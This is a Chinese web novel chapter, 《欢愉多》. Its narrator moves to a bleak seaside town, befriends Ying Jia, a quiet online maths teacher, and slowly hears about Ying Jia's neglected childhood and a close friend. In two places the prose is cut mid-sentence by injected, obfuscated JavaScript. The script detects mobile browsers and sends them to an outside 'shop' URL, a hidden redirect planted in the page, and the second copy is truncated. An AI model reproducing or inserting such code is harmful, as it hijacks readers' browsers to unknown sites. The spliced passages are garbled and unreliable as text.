《欢愉多》 1. 第一面 故事开始于2024年的冬天,但故事的故事具体开始于哪一年多少有些无从得知。 这路神仙,如果您在听的过程中感到糊里糊涂的话,这实在不能怪我,因为这本来就是一个稀碎的故事。 我不敢添油加醋,我怕经过我拙劣的加工后让故事变得失真和面目全非。 思来想去,我还是把发生过的事情原封不动地复述下来吧。 另外,话说在前面,为了避免一些不必要的麻烦,下面我讲的话里,地点仍保留了真实模样,但部分人名上进行了一些模糊处理。 (一) 我就先从我是怎么认识应嘉的开始说起吧。 2024年秋天,我因为种种原因,冲动之下搬去了一个叫泥金滩的沿海小镇准备常住。 去的时候是雄赳赳气昂昂,兴奋不已,毕竟对于一个内陆长大的孩子来说,海的吸引力实在太大了。 但是到了后,才知道这小镇的冷清之处。 说是一个镇,其实就是一块沿海的旅游区,而且还是不出名的那种。 11月,是完完全全的旅游淡季,从高铁站拼车过去小镇上,一路上都见不到几个人。 我当时根本没意识到问题的严重性,甚至还很高兴,心里想着冷清一点好,没处可玩,没准我就可以老老实实在家里码字了。 后面下车后,找到之前就已经线上联系过的中介,一起去看了已经交了定金的房子,当场补签合同,补齐尾款,我都觉得一切顺利。 房子内明显有租客住过的痕迹,至少可以确定不是新装修的串串房。 电梯十九楼,一室一厅,独立厨卫,缺点是卫生间是电热水器而且没有窗户,但是阳台的大落地窗又完美盖过了这个缺点。 这小镇房子大都不高,六七层居多些,我这十九楼的位置,窗外可以说是毫无遮挡,几百米外,就是海岸线。 可惜入住那天天气并不好,海面灰扑扑的。 现在回想起来,这简直就是对我接下来的生活的预兆。 真认真吐槽起来,我觉得我可以说上一天一夜,从零星的几家外卖都需要一个钟才能送到,到同楼栋里的大爷大妈们早上六点多在一楼练乐器,再到集市上的摊贩漫天要价欺负外地口音人,再再到空调制暖效果鸡肋一觉醒来被子冰冷潮湿得仿若石头……其中还夹杂着各种电器接二连三坏掉,中介态度反转的扯皮。 一个月不到,我就已经心神俱疲。 彻底崩溃的那天,是在一个阴雨绵绵的中午。 我从超市买了蔬果,又到隔壁小区拿了快递,手里大包小包地终于回到了小区楼栋,正准备按电梯,却发现楼层指示灯根本没亮。 ……不是检修,也不是这个入口处的电梯坏了,而是停电了。 我站在安全通道处向上张望,连抬起腿踏上第一层台阶的勇气都没有。 折身回来,一层楼栋管家处门窗依旧紧锁,连个电话都没有。 我彻底没法了,手指长时间负重,又冷又疼,干脆把这些东西都一股脑放在了墙边地上,戴紧帽子就冲进了雨中。 我记得物业在几号楼。 气愤暂时压过了种种不顺带来的委屈,也克服了我对外怯懦的性子,一路上,我都在脑子里预演等下我将怎么和物业争论,我要用最冲的语气和最臭的表情质问他们为什么没提前说要停电,也没说预计几点来电,最不可原谅的是,为什么停电了不给电梯安排备用电源! 可我冲到物业楼,一包主动从窗口递过来的抽纸就让我熄火了。 我吃软不吃硬,别人态度一好,我就发不出脾气来。 我尴尬擦着眼镜上和脸上的雨水,预想中的吵架场景也变成了“你好”“请问”“好的”“谢谢”,得到了一句“一定会催促尽快恢复供电”的承诺后就再次进入了雨中,还不忘在心里为物业人员辩解,人家也是打工人,人家也不知道到底几点来电,面对这么多业主的质问,人家已经很着急了。 十九楼而已,咬咬牙,爬就爬吧。 好不容易做好的心理准备,在进入楼栋的一瞬间就崩塌了。 有人把我东西偷了。 我在四周找了好几圈,确认没找到后才敢相信这个推测。 小偷,这世界上肯定是有小偷的。无论什么时候什么人问我,我都会这样回答,彷佛天经地义不需要思索一样。 但现在,一个小偷真的偷走了我的东西,我却又难免震惊和不敢相信。 这地儿竟然还有小偷? 停电,监控也不要想了。 丢失的物品里,除了些不大紧要的东西外,快递件里有我期待已久一套新键帽,塑料袋里有两个大大的耙耙柑和一斤草莓。 看了眼手机,下午一点零三分。 再看一眼,脑袋瓜子嗡嗡地疼。天气冷,手机电量一到了二十就彷佛换了套耗电计量方法一样,亮一下屏,数字就跳一下。 转眼而已,就变成了十五。 我心气全失,实在迈不动步子上楼拿充电器,撑着一口气到小区外的小超市买了一个新的。 准备付账时,手机屏都没亮就进入了关机流程。 昏暗的自然光线下,超市收银柜前是我窘迫的脸。 我尝试问老板有没有充电宝借我用一下两分钟,回答是没有,我又试图证明我在旁边小区住,能不能赊一次账,老板含糊打了个哈哈。 这样的事不答应就是拒绝。我本来也没抱太大希望,心里庆幸我没把充电器拆封,现在还可以放回去。 转身时,一个女生刚好从里面黑漆漆的货架后出来,手机手电筒灯还没关,另一手拿了瓶酱菜一样的东西。我和她视线擦过,起初倒也没在意,但走了几步后,那女生突然开了口。 她估计也有些犹豫要不要喊住我, “那个……要不我先帮你付一下?” (二) 我好朋友很少,但能交到的都是好朋友。 这话听起来好像是个废话。 不管怎么说,认识应嘉短短的十分钟内,我就有种应嘉可以成为我的好朋友的直觉。 事情简直巧的不得了,她也刚好要去奶茶店。 我忙着连连承诺,等下到了奶茶店手机开机马上把钱转给她。 她不太爱说话的摸样,微微笑了笑点头,“嗯。” 特别浅的一个笑,我后来回想起来时还曾怀疑过这个笑是不是我臆想出来的一个细节。 外面雨还没停,雨丝太细,像潮湿的雾气一样。 我俩都没伞,好在围巾帽子可以挡去不少的风寒。 我发誓,我平日里真不是一个话多的人,但那天我自己也不知道怎么着的,简直和喝了假酒没两样,竟然叽里呱啦叽里呱啦了一整路。 我到底说了什么自己也记不清了,倒是还记得应嘉应声的那几句。 一句是,我说到自己东西被人偷了,越回想越气,越气越愤愤不平,情绪激动又沮丧之时,应嘉偏过脸来看了我一眼,“要陪你去派出所一下吗?” 她说话声不大,一开口,嘴里面冒出来的雾气迅速覆盖了眼镜片,挡住了她的眼睛。 我没忍住笑了起来,心情也好了起来,“不用不用,就当买个教训吧。” 还有一句是,我不知道怎么诌扯到了奶茶上,随口乱说,益禾堂这家店以前还挺好喝的,就是现在换了Logo和标语后怪怪的,我记得以前是叫——叫什么来着—— 话到了嘴边,却始终想不起来,手机从口袋里掏出来又想起已经没电关机了,短暂的沉默间,应嘉接了一句,“畅饮年轻这一杯。” 我恍然大悟,连连点头,对对,就是这个。 还要再说什么时,才发现我俩已经走到了奶茶店门口。 这小镇奶茶店少的可怜,大多数都在大学里面——我一度惊讶过这小镇最最东侧竟然还有一所大学存在。 外面的这个月份还在营业的就这一家。 之前我来过几次,店里人都不多,但今天可能是受到了西区停电的影响,里面竟然坐满了人。连个坐的地方都没有,更别说空着的插孔了。 ……应嘉又帮我付了一杯奶茶钱。 我没地儿可去,身份证没带,连去酒店开钟点房都不成。 更何况肚子饿得咕咕叫。 ……应嘉又又帮我付了一个面包钱。 手机依旧没开机,我欠债倒是越来越多。有点儿债多了不痒的无赖,我发出了我人生中最厚脸皮的请求,“能去你家充个电吗?” 话一出口,我自己先醒神了,莫名其妙要求去人家家里也太冒犯了! 而且从理性上讲,这不是一件安全的事情。 对我是,对应嘉更是。 我慌里慌张找补,说自己乱说的,让她不用理会……但应嘉她点头了。 她指了指不远处的建筑群,“在那边。” 我就这样跟着一起过去了。 距离不远,穿过马路,再走一段就到了小区入户门处。 这里明显比我租住的小区要热闹很多,这种绵绵雨天气,都还有中老年人在外面说话。 应嘉租住的房子在小区中间一排最西侧的楼栋,四楼,没电梯,一梯三户,应嘉站在西边户门口开门锁。 我站在楼道处,能看到这一带的楼栋群某些窗口处的灯光,再往我住的那边区域看看,黑云下面黑乎乎一片,看来是还没来电。 唉,我心里哀叹,早知道租这边的房子了。 当时中介和我说的是离大学远一点的小区的房子会安静些,结果呢,根本没安静多少就罢了,现在还停电煎熬。 后面等应嘉把门打开喊我进去时,我后悔的程度瞬间又飙升了几百个点。 我已经很久没有感受到摸到一样东西时不是潮湿冰凉的触觉了。 但应嘉家里,因为是市政统一供暖,所有的一切都是暖融融的。 她自己穿了双夏日的凉拖,把另外一个毛绒绒的拖鞋给了我。许是回到了家中的缘故,应嘉神色和之前相比,疏离和拘谨减少了些。她指了指客厅的小沙发,示意我可以坐在那里充电。 我忙道谢,手机顺利开机后,迫不及待看向应嘉,“我把钱转你,我扫你——要不我加你个微信吧?” 我就这样有了应嘉的联系方式。 我家里还不知道几点来电,手机电自然是充得越多越好。 在这期间,我又开始了叽里呱啦。对于有好感的朋友,我总有说不完的话。话题根本不用特意去找,到处都是。衣食住行,张口就行。 当然,最关键的,是我没在应嘉脸上看到不耐烦和不适的神色,所以我才会继续。 而且,她虽然不会给予什么特别热切的回应,但是却能够让人感受到她在认真的听你说。偶尔她会弯弯唇角,说几句“嗯”“挺好的”“还可以”之类的话。 中途,她接到了一个微信电话,好像是工作上的事,对我小声说了句“你先充电吧”后就进了房间。 房间门隔绝了她的声音,客厅一下子进入了静谧之中。 我刚刚已经打量过布置,现下也不好随意走动,便靠在沙发上无聊翻看手机。翻到微信,看到应嘉的号,很寻寻常常大众化的卡通图头像和字母昵称,点进朋友圈,是三天可见,签名处有一句“一万年太久,只争朝夕”。 在一众普通中,这句来自伟人的话放在这里突然呈现出几分向上昂扬的精神来。 我有种直觉,这种积极或许并非应嘉的状态,而是她已经很久很久没装点过微信头像昵称签名这些“门面”了,也已经忘记曾经留下的签名是什么,就像这个三天可见的朋友圈设置,没准改为半年可见,也仍旧是一片空白。 可是人都具备社会属性。 在三次生活里沉寂的人,在社交平台大概率不是沉默状态,在社交平台不活跃的人,大概率在三次生活里有足够的支撑。 如果这两者都没有,我真要怀疑这个人精神已经出了问题。 比如我自己,三次生活一忙,上网时间直接骤减。三次生活一寂寥,立马豆瓣B站微博知乎小红书就都成了我的经常访问地。 不知道应嘉平时都会使用什么平台?我抱紧手中暖乎乎的沙发枕,脑袋靠在上面,忍不住地猜测。 但在猜出什么可靠的结果之前,我先干了件丢人的事情—— 我在应嘉客厅的沙发上睡着了。 (三) 那是一个格外漫长的午觉。 漫长到醒来时,窗外一片漆黑。哗啦啦的大雨声穿透玻璃传进来。充电器还插着,手机早已满电。一动屏幕立马亮起。 我忐忑看了眼,竟松了口气。 本以为已经夜里十一点十二点,没想到才刚过下午六点——虽然在人家家里无所顾忌的睡了四五个小时也已经很冒昧。 我眼镜早不知道掉到哪里去了,站起来找时才发现身上盖了一件长款黑色羽绒服,内衬布上暖暖的,看来是盖在我身上有段时间了。 那应嘉应该是没生气吧?我又松了一口气,但同时心底还有另外一个声音,万一人家是只是出于礼貌而没有把我喊醒呢? 在这种迷迷糊糊中,我找了眼镜找了四五分钟也没找到。沙发上、沙发边、沙发下,统统没有。 正一头雾水时,传来了房间的开门声。 应嘉指了指桌子,“掉沙发上了,我怕你压到。” 我脑袋迟钝“哦哦”两声,拿到眼镜戴上后,才感觉智商跟着视力一并回来了点,忙开口表达歉意,“不好意思,我不小心睡着了。” “没事。” 她在倒水,从热水壶中倒了一些,又弯腰从放在地上的桶装水里接了一些,然后把杯子放在一旁—— 我赶在她去拿新的一次性杯子前抢先拿起了桌面上自己用过的一个,“不用不用,我自己来。” 在有暖气地方睡觉,嗓子确实有些干涩。 一口气喝完了一杯水,我才想起要说的正事来,“你吃晚饭了吗?” “还没。” “我请你吧,今天真的太谢谢你了,”我怕她拒绝,极力邀请,“让我请你吃一顿吧,就当我求求你了!” 充分发挥厚脸皮精神后,应嘉终于同意了。 不过,还要再等四十分钟才可以出去。 我这才知道,她的工作是线上数学老师,刚刚和我说话的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459051|201260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是中场休息的十分钟。 不过,别说等四十分钟了,哪怕是等两小时,我也乐意啊。 她回房间继续上课,我则到了窗边向外看了看,雨幕中,小镇西边散布的小区里有零星的灯光亮着,我长呼一口气——可算是来电了。 但转眼又有些发愁,这雨就不能小点嘛? 手机看天气预告,七点钟是一朵乌云下面没雨滴。 我开始祈祷这天气预告准一点! 七点零三分,应嘉从房间出来。 窗外,雨也已经停了。 我难掩高兴,“幸好雨不下了,不然太冷了。” 但其实也依旧很冷。 应嘉和我都把羽绒服拉链拉到了最顶上,围巾帽子裹得严严实实的。 这小镇夜生活少得可怜,好在这边靠近大学,这会儿还不至于所有店铺都关门。 我们最后选了一家鸡公煲店,推门进去后,两个人还没开口,倒是都先从口袋里掏出了纸巾开始擦眼镜片的雾气。 我哈哈笑,“一直想买网上那种防雾湿巾试试来着,就是不知道有没有用。” “没用。” “啊,你买过了吗?好吧,这下不用试了——” “很久以前买过,”应嘉似乎认为刚刚说得太果断了,补充道,“不知道现在网上卖的有没有用,但有酒精成分的要谨慎。” 我脑海里闪现不知在哪儿看见过的一点印象,恍然大悟,“酒精会把镜片搞花对吧?” 应嘉“嗯”了声。 我还想继续这个话题,但一戴上眼镜,余光瞧见应嘉神色好似有些冷淡,不由得就愣了下。 安静几秒,才想起开口,“我们坐这桌吧……闻着还挺香的!” 应嘉把手中擦得干干净净的眼镜戴好,在我对面坐下,微微倾斜身子和我一起看桌上老板刚放上来的菜单。 我拿起桌上的铅笔,“你吃辣吗?” “吃的。” “那点一个中辣的……牛蛙锅还是鸡肉锅?” “鸡肉吧——别点大的,中煲就可以了。” “配菜,那就牛肉片、鱼丸、酥肉、虾饺、生菜、娃娃菜、土豆、金针菇、玉米……哎?” 应嘉抽走了我还要继续勾选的笔,“已经太多了。” 我把餐单向着她那边推了推,“你再点两个嘛!” “我喜欢吃的你已经都点了。” 我把应嘉递给老板的菜单要了回来,坚持又加了饮料上去。 面对应嘉不赞同的神色,我大打包票,“放心好了,我觉得自己现在能吃下一头牛。” 应嘉笑了笑,“这是你的错觉。” 她这一笑,倒是仿若之前低头擦镜片时的冷淡只是我看花了眼。 而且直至这顿饭结束,也没有重现过半分踪迹。 我好奇得不得了。 但交情太浅,也不敢冒然问她那时在想什么。 说起来,也是奇怪,我竟然从没往她是不是不愿意和我一起出来吃饭、是不是对吃饭地点不满意、是不是对我提起的话题有意见、是不是觉得我烦人等等方面思索过。 那家鸡公煲店的味道非常不错。 连大米饭都格外香。 吃饭完,整个人身上都暖和了起来。 这种暖意支撑着我一路冒着冰冷夜色回到了自己家,一开门,迫不及待把电暖宝充上电,把小太阳、电热毯都打开,至于空调,它制的那点儿暖气还不如它的噪音带给我的伤害大。 不过我心情倒是很不错! 多了一个朋友! 这怎么不算因祸得福呢。 (四) 我还想去见应嘉,奈何找不到合适的理由。 微信写了又删,删了又写,始终没发送。 应嘉看着不像是外向的人,我怕线上突然找她闲聊会太突兀,更怕会给她造成社交困扰。 我费尽心思寻找借口,甚至想,能不能再停一次电。为难之际,我收到了老妈从家中寄过来的腌菜。 火速到附近超市购买了小玻璃罐子,把各种咸菜都分装了一些,然后我开始联系应嘉—— 在我“楚楚可怜”的央求之下,应嘉终于同意了帮我分担一些腌菜。 我第二次到了应嘉家里。 有了第二次,后面就接连有了第三次、第四次、第五次。 见过应嘉的次数越多,我对应嘉的了解却反而越少。 我从未见过像她这样情绪稳定的人,不说任何的脏话,包括一些常见的口头禅都没有。开心笑起来时也彷佛只是淡淡的情绪,不开心皱眉头时也转瞬即逝。 有那么一次,我带了果切去找她玩,中途她临时接了个电话,好似是临近考试,几个家长共同请求给额外加一节课。 时间就安排在半小时后,应嘉到房间去备课,我则懒洋洋坐在沙发上一边吃水果一边刷b站上一个up剪辑的拉郎配视频,正看得上头时,手机电量告急,我到处找充电器找不到,只得悄悄过去问应嘉。 顺利拿到充电器,绕过摄像头正准备出去时,没想到遇见了应嘉发脾气。 她脸色很冷,语气严肃,刹那之间,我自己的心跳都加速起来。担心打扰到她,我蹑手蹑脚地带上门,但回到客厅后,却再也没了看帖子的心情,只忍不住回想刚刚的情形。 既惊讶于应嘉还有这样的一面,又担心她会不会心情太差,等下不愿意和我一起吃去吃晚饭。 在这种纠结中,约莫过了几分钟吧,应嘉结束了上半节课,出门倒水顺便活动活动筋骨。 我没话找话,问我刚刚有没有打扰到她,应嘉摇头,面上竟然丝毫寻不到刚刚发过脾气的影子。我忍不住好奇问她,刚刚发生了什么。 应嘉站在窗边看着远方放松眼睛,闻言摇了摇头,语气淡淡,“一个学生在课堂开黄腔。” 她简要把始末说了遍。在讲解一个五年级题目时,正确答案是78,有个男生听见就开始起哄,一边嘿嘿笑一边故意含糊重复七八七八。 我听得直窝火,要大力吐槽前才反应过来应该劝慰应嘉,“你别生气,不值得,毕竟身体是自己的——” 这话干巴巴的很苍白,配合我愤愤的语气估计就更没说服力了。 反倒是应嘉反过来劝我,“不用理会。” 我还没平复下来,“这也太气人了!” 应嘉轻笑了下,“生气伤身体,可以表演生气传达态度,但没必要真生气,不然做这个行业迟早要把身体气坏。” 我恍然大悟。 看着应嘉继续回去上课的背影,突然感觉自己好似了然了,难道应嘉情绪这样稳定就是被教培行业锻炼出来的? 哇哦,这未免也太牛了吧! 再看看我自己,做扑街作者几年了,读者一个差评,就能让我半夜三更梦中醒来都得问一句为什么,读者一个好评,又能让我上班路上都happy起来。 我也太不成熟了。 我暗暗想着要学习应嘉的情绪管理能力。 一直到后来,我窥探到了另一个故事的边角,才重新拼凑出一个不一样的应嘉。 一个情绪并不稳定的应嘉。 2. 上弦月 (五) 小镇的第一场雪来得毫无征兆。 说来就来,想来就来。 雪花飘落时,我和应嘉刚出了超市门口。 下雪对我来说并非稀奇事,但雪花落下时,我也忍不住像其他行人那样仰起头乐呵,直到被冰得脸上凉凉打了个寒颤才回神觉出自己的傻帽来。 我问应嘉,她老家的冬天会下雪吗,但是久久没得到回应。我疑惑转过头,这才发现她已经看雪看得忘记了往前走。 她仰着头,神色认真。 我几次想要开口和她说话,话到了嘴边却又都咽了下去,因为她看得太专注了,仿若这一刻世界上只有空中的雪,总觉得开口打断她是一种罪过。 好在应嘉并没有看太久,不然我俩怕是都是要在冷空气中冻僵了。 回去路上,雪越来越大,越来越急。 古人作诗,燕山雪花大如席,虽是夸张手法,但你看到这样的雪,也只会想这一句简直太贴切了。 飘飘又洋洋。 从开始的细细的像是盐粒一样的雪,到如同柳絮一般纷飞的雪,再到直接急到一团团一簇簇往下砸的雪,不过就半程路的时间。 我被这雪惊到,想到袁华雪花飘飘名场面,缩着脖子同应嘉说话,“这时候要是有个电话亭,我肯定要过去拍照打卡发个朋友圈!” 应嘉轻笑着看我,“那我就给你配乐好了。” 我哈哈哈大笑,也不顾忌冷了,一路同她边走边说。我梦游一样的想到什么说什么,最后连老家有偏方是储存冬季雪化成的水来治疗夏季孩童身上的痱子这样的古早记忆都抖搂了出来,应嘉仍是和从前一样,听得认真,也会给与我回应。 可我总觉得她今天好像有些心不在焉。 她难道不喜欢雪吗? 我想多问一点,奈何前面已经是十字路口。继续往前是回我家,向左转是去应嘉家中。 今天我们俩是约了午饭,吃完后一起散了圈步然后去了一趟超市。 应嘉对我说回家后别忘记吹吹头发,我点头,同她拜拜后,过了马路再回头时,发现应嘉的身影已经淹没在了风雪中。 这真是好大的雪,才多久啊,路边林木已经穿尽白衣。 我往家的方向走,走到一半想起有东西忘在了应嘉家中,于是又折返了回来。 ——反正我敲门时是对应嘉这么解释的。 实际上,我是到了自家小区自家楼栋下,电梯门都开了,才终于搜肠刮肚找到了一个理由,于是迫不及待地往应嘉家中来。 我忘在应嘉家中的是一本写作工具书,上次拿过来打发时间的,结果忘记带走。这本书枯燥得很,我也不爱看,我码字全凭一腔冲动,和这本书半毛钱关系都没有,但现在这本书成了我口中的一日不见如隔三秋的亲朋好友。 应嘉过来开门,神情疲惫,依靠在门侧,低垂着眉眼。 我讪讪笑了下,快速进去,快速把书找到,快速出来,然后磨磨蹭蹭地准备说告别。 几次欲言又止,我想和应嘉说,倘若有什么不开心的事,或许可以和我说,我们现在难道不可以算是朋友吗?但我没勇气开口,我怕她拒绝,也怕她不好意思拒绝只得为难着应承下来。 我扬了扬手中书,强自轻松,“就是这本……外面雪可真大啊!” 说着扫了眼应嘉客厅的窗户,也是这时,我才发现,从应嘉开门开始我就闻到的那种夹着酒精的果味从何而来。 飘窗上,放着两罐RIO,离得远,看不清具体是哪一种。 我脱口而出,“你喝酒了吗?” 应嘉的声音几乎与我同时响起,“你能喝酒吗?” 我不知道。 但我撒谎说了能。 我脱了外套吹个头发的功夫,在飘窗前坐下时,应嘉已经多拿了几罐酒在上面。 上面写着强爽,我故作熟练开了一罐,余光悄悄打量酒精度,揣测会是什么味道。好在应嘉只是侧着脸看着窗外的雪,并没留意到我的生疏。 第一口酒,比我想象中好喝,有点像是葡萄气泡水,凉凉爽爽的。 我放松下来,和应嘉一样看着窗外,“我还没从见过这么大的雪呢,你老家会下这么大的雪吗?” 应嘉好一会才应声,“有一年下过。” 那种疲惫还挂在她的眉眼上,我心里也跟着闷闷的,不知不觉竟把一罐酒喝了个见底,又伸手重开了一罐,咕噜咕噜喝了几大口。 我要问问她,我到底算不算她的朋友,不然为何什么都不肯同我说。 应嘉脸上闪过短暂的错愕,“……太无聊了。” 我借着冲动耍赖皮,“无聊也可以说说嘛。” 说说嘛, 说说嘛, 哪怕说说你老家下这么大雪的时候,你在做什么也可以呀! 我催促她。 应嘉终于开口了, “是大年初一,具体哪一年记不清了,奥运会之前吧,我七八岁左右。那天,我和堂哥都在奶奶家吃午饭,因为一碗鸡蛋羹吵架,不是我的错误,奶奶却让我滚回自己家,我气不过一口饭没吃就直接走了,回家的路上,雪下得大概就现在这么大,把早上大家互相拜年时踩踏出来的泥泞都掩盖住了。” 我听得冒火,风雪天把一个孩子赶出家门未免太过分!我预备了一箩筐的话准备痛批这个奶奶,可还没开口,就因为应嘉的神色忘却了说话。 她好像已经完全陷入了回忆中,眼神看着的依旧是窗外的大雪,实际或许早已聚焦在了多年前飘落在她面前的雪花上。 “小地方的小村庄,我家离奶奶家也不算远,我到家后,没找到吃的,我爸妈在吵架,牌桌还没撤,骨牌被扔得到处都是,锅也摔了,碗也砸了,两个人吵来吵去,总不过还是那些陈词滥调。 互相咒骂对方打牌又输了钱,翻旧账,一个说结婚时给买的缝纫机还是个二手的,一个说几年前大舅子借的钱都没影了,攀扯一通,开始说起离婚,一个说要不是为了孩子早就离婚了,另一个也抢着说要不是孩子还小早就离婚了。后面,左邻右舍来了,也说,看在孩子的份上,说什么离婚不离婚的,好好过日子。 一个邻居婆婆看见了我,把我拉过去,推搡着我,让我快过去劝劝我爸妈,让他们别吵了,她说话时,嘴里面嚼碎的瓜子仁还没往下咽,味直往外冲,我本来很饿,闻到那个味后就开始想吐——” 我已经听得脑袋空空。 我一想到大年初一一个七八岁的小姑娘饿着肚子深一脚浅一脚冒着雪回家找自己的爸爸妈妈,却,却撞见自己爸妈吵架,只能手足无措站在一边,就眼睛泛酸。 但应嘉的声音一如往常的平淡。 我没听到什么难过,也没听到什么气愤,就像是,只是陈述而已。 应嘉继续不紧不慢地开口, “我那时想,如果都是因为我才让他们无法分开,互相怨憎,那没有我就可以了。我家宅基地位置很差,犄角旮旯里,巷子最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的小伙伴,拉着她一起躲在麦秸秆堆里,看玉米花零食里抽出来的夜光吊坠。 她的小伙伴,和她约定等到暑假还要一起玩。 我坐都坐不稳了,应嘉扶着我到沙发上去,又给我倒了半杯温水让我缓缓,我喝了几口,看看窗外,又看看应嘉,认真开口,“以后还是不要下雪了!”如果一下雪,就会让她回忆起这件往事的话。 虽说这往事的末尾总算少了些冰冷,但毕竟太短暂了些,只有寥寥几句就结束了。 应嘉却摇头,说她很喜欢下雪。 我不明所以,斜倒在沙发上,目光追踪着应嘉穿梭在屋中的身影,也追踪着她的声音和答案。 “我好像从没和你说起过,我小名叫小雪,每次下雪时,我朋友都会发微信打趣我。” 我抱紧应嘉从房间里拿出来的毯子,顶着睡意追问,“怎么打趣?” “就说,小雪,小雪,快看,外面在下雪。” 有点儿好笑。 应嘉说着说着把自己说笑了,我听着听着也听笑了。 然后,再然后,就是应嘉劝我睡吧,我也就真的睡着了。 在应嘉家里总是能睡这种毫无负担毫无梦境一觉醒来恍惚时间的觉。 我醒来时,雪还没停,天已经黑了。只窗户前开了一盏灯。 应嘉缩在椅子上,低着头靠在抱枕上,似乎是睡着了。 飘窗前,一溜的易拉罐。 我拿着毯子蹑手蹑脚走过去,才发现地上还掉落了一本书。 书页开着,我弯腰捡起来,一张泛黄的纸张从里面飘落。 是张乐谱,边缘参差不齐,估计是从某本乐谱书中撕下来的。歌名是《阳光总在风雨后》,歌名上方的一角里,已经有些褪色的蓝色笔迹写着“高二文(7)班”。 我见过应嘉卧室里挂着一把吉他,想来这是她以前练习用的。 3. 上弦月 (六) 泥金滩的这场雪持续了太多天,在气候在不断变暖的当下,这场雪让这个小镇的名字甚至出现在了不少新闻媒体上。 一觉醒来,拉开窗帘,毫无意外,窗外仍然飘着碎碎的雪花。 我一把把窗帘合上,仰倒在床上看着窗帘发呆 这窗帘是我搬过来后新换的。翠绿翠绿的,对眼睛非常友好。 哦,我差点忘记讲,这里可不是我那冰冷冰冷的电梯十九层,而是应嘉家里的次卧。 自从下雪后,我家里更是冷得没法住人,夜里连个安稳觉都睡不成,我常常在下午跑到应嘉家里客厅的沙发上补觉,后来应嘉看不下去,就把原来放置一些杂物的次卧收拾了给我。 于是我就美美地住了进来。 现在是上午十点多,应嘉估计也还没起床。我俩都没吃早饭的习惯,最近差不多都是十一点多才起。 应嘉基本不会做饭,她做的饭就是蔬菜大杂煮然后加点淀粉勾兑勾兑,我则相反,什么东西都能搞点,而且我还挺喜欢钻研美食的。原来在自己家中因为太冷而懒得动弹,搬过来后又重新萌发了当大厨的心。 应嘉是个绝佳的吃饭搭子,对食物接近于完全不挑剔,对于我科研出来的黑暗料理,都能面不改色的品尝完并分析出几个优点来。我做饭,她刷碗,而且我还能享受到她的夸夸。 我简直是心情大好。 和应嘉住在一起后,我也对应嘉有了更多的了解。 比如她原来是做线下教育的,在2023年秋天时辞去了线下岗,转接了同一家公司的线上教学岗,同年冬天,从渚蘅市搬来了这里,一直在这小镇住到了现在。 包括过年时,也未曾离开过。 我知道她和家里人关系并不好。也是,那样的童年经历,足够看得出一对烂到不配获得爸妈身份的夫妻。尤其是,后来我又知晓,应嘉的名字竟然还是她和朋友一起起的。 她小名叫小雪,是出生时下着下雪,家里人便就着天气起了一个。 这倒是没什么可指摘的。 但为了躲避计划生育,为了另一个虚无的还未曾出现的男孩,就逃开了给应嘉上户口的责任,连大名都未曾起,一直拖着拖着,拖到在无休止的离婚争吵中竟然吵出了一个新的生命,在给这个新生命上户口时,才想起了已经就读小学三年级但是还没户口的应嘉,就着实太过分和荒唐了。 好似是附带一样,应嘉家里人准备给她直接登记为应小雪。那几年有部大火的情景喜剧,主人公之一就叫小雪,但凡有点儿为人父母的责任心,都该知道起名时最好避着点这样的名字,防止孩子在学校里被人无休止地开相关的玩笑。 有的孩子或许不在乎这个,但有的孩子明显不愿意这样。应嘉没有明说,但我想,她肯定是不愿的,不然也不会自己提出重新登记一个新的名字。 应嘉说,她那时不知道起什么名字好,朋友就从家里拿了一本新华字典过来,两个人躲在杨树荫下,翻来翻去,从日头正盛翻到只剩下夕阳残照,还没定下来。 我们说起这个话时,正在一起包饺子,我擀饺子皮,擀一个,应嘉包一个。 她低着头,神情认真,乍一看不像是包饺子,倒像是在给学生讲解数学题,连饺子边的每一个褶都要捏得整整齐齐。 我问她,“然后呢?” “其实当时我觉得什么都好,只是我朋友一直不同意,总说不完美。” 她一直严肃的脸上多了点无奈, “后来我朋友说,不如翻到我生日那一页,看看有没有好听又好看的字。我生日是二月十四,我们翻到214页,就看见了是jia,一堆的jia,什么加伽茄迦的,一个一个看下去,最后在右下角看到了嘉,一种解释是美好,一种解释是赞美。” 我惊讶应嘉竟然记得这样清楚,但转念一想,名字的由来嘛,自然值得记忆。 饺子皮已经擀完了,我坐在应嘉对面,一边把包好的饺子上撒点儿干面粉防止粘连,一边接话,“多好的一个字啊。” 应嘉闻言愣了下,过了几秒钟还似没有回神般,有点儿恍惚地轻笑点头,“是的,当时清清也是指着那个字说,多好的一个字啊……后来我就选了那个字做名字。” 清清。 清清。 这是我第一次从应嘉口中听到这个名字。 在此之前,这个名字在应嘉话里一直以“我朋友”的方式出现。 (七) 十二月下旬,小镇终于迎来了一个格外明朗的晴日。 这样的晴天,在平日里自然不稀奇,但出现在连日的阴雪后,简直和钻石一样的闪亮。 我和应嘉把家里的凳子都搬到阳台去,然后把被子摊在上面晾晒。还有一些书,也一并搬了出去晒晒太阳。 在一众书里,我眼尖地发现了一本像是相册一样的东西。 我询问应嘉能不能让我看看,彼时,应嘉正靠在阳台围栏上晒太阳,闻言扫了一眼,“都是些过去的照片。” 我打开相册,里面照片并不多,只装到了册子的三分之一厚度。 大多都是一些大合照,初中毕业照、高中毕业照、军训毕业照……几十个人在一起,糊到人脸都有些看不清。 我找到了好玩的游戏,在每一张照片里寻找应嘉的脸,然后对着照片背面的花名册核实一遍是否正确,哈哈哈哈,从没找错过任何一张!应嘉还是很好辨认的,这所有的大合照我从没见她笑过,总是神情淡淡地看着镜头,和周围的很多笑脸对比明显。 这里面好似没有大学毕业照,我问应嘉原因,应嘉说,她大学毕业时是2020年,当时疫情缘故,学生们都是分批次返校,只有48小时留校收拾行李的时间,时间仓促,来不及拍毕业照。 